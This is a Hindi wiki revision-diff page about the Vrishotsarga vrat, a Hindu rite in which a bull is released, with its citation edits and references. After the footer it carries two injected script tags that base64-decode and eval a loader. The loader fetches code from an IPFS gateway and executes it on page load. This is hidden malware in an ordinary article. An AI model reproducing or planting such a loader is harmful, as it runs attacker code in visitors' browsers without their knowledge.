व्यवस्थापन (चर्चा | योगदान) छो (Text replace - "==टीका टिप्पणी और संदर्भ==" to "{{संदर्भ ग्रंथ}} ==टीका टिप्पणी और संदर्भ==") |
व्यवस्थापन (चर्चा | योगदान) छो (Text replace - ")</ref" to "</ref") |
||
पंक्ति 2: | पंक्ति 2: | ||
*वृषोत्सर्ग व्रत [[चैत्र]] या [[कार्तिक]] की [[पूर्णिमा]] पर, रेवती [[नक्षत्र]] में, 3 वर्ष के उपरान्त एक बार किया जाता है। | *वृषोत्सर्ग व्रत [[चैत्र]] या [[कार्तिक]] की [[पूर्णिमा]] पर, रेवती [[नक्षत्र]] में, 3 वर्ष के उपरान्त एक बार किया जाता है। | ||
*ऐसी मान्यता है कि इस व्रत में [[साँड़]] छोड़ा जाता है। | *ऐसी मान्यता है कि इस व्रत में [[साँड़]] छोड़ा जाता है। | ||
− | *[[बैल]] तीन वर्ष का होना चाहिए, उसके साथ में तीन वर्ष वाली चार या आठ [[गाय|गायें]] होनी चाहिए।<ref>कृत्यरत्नाकर (432-433, [[ब्रह्मपुराण]] से उद्धरण | + | *[[बैल]] तीन वर्ष का होना चाहिए, उसके साथ में तीन वर्ष वाली चार या आठ [[गाय|गायें]] होनी चाहिए।<ref>कृत्यरत्नाकर (432-433, [[ब्रह्मपुराण]] से उद्धरण</ref> |
− | *बहृधा की किसी की मृत्यु के 11 दिनों के उपरान्त वृषोत्सर्ग होता है।<ref>धर्मशास्त्र का इतिहास 4 के महाग्रन्थ का मूल खण्ड 2, पृ0 983-997 एवं खण्ड 4, पृ0 539-542; स्मृतिकौस्तुभ (390-405 | + | *बहृधा की किसी की मृत्यु के 11 दिनों के उपरान्त वृषोत्सर्ग होता है।<ref>धर्मशास्त्र का इतिहास 4 के महाग्रन्थ का मूल खण्ड 2, पृ0 983-997 एवं खण्ड 4, पृ0 539-542; स्मृतिकौस्तुभ (390-405</ref> |
{{संदर्भ ग्रंथ}} | {{संदर्भ ग्रंथ}} | ||
==टीका टिप्पणी और संदर्भ== | ==टीका टिप्पणी और संदर्भ== |
13:00, 27 जुलाई 2011 के समय का अवतरण
- भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लिखित हिन्दू धर्म का एक व्रत संस्कार है।
- वृषोत्सर्ग व्रत चैत्र या कार्तिक की पूर्णिमा पर, रेवती नक्षत्र में, 3 वर्ष के उपरान्त एक बार किया जाता है।
- ऐसी मान्यता है कि इस व्रत में साँड़ छोड़ा जाता है।
- बैल तीन वर्ष का होना चाहिए, उसके साथ में तीन वर्ष वाली चार या आठ गायें होनी चाहिए।[1]
- बहृधा की किसी की मृत्यु के 11 दिनों के उपरान्त वृषोत्सर्ग होता है।[2]
टीका टिप्पणी और संदर्भ
- ↑ कृत्यरत्नाकर (432-433, ब्रह्मपुराण से उद्धरण
- ↑ धर्मशास्त्र का इतिहास 4 के महाग्रन्थ का मूल खण्ड 2, पृ0 983-997 एवं खण्ड 4, पृ0 539-542; स्मृतिकौस्तुभ (390-405
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>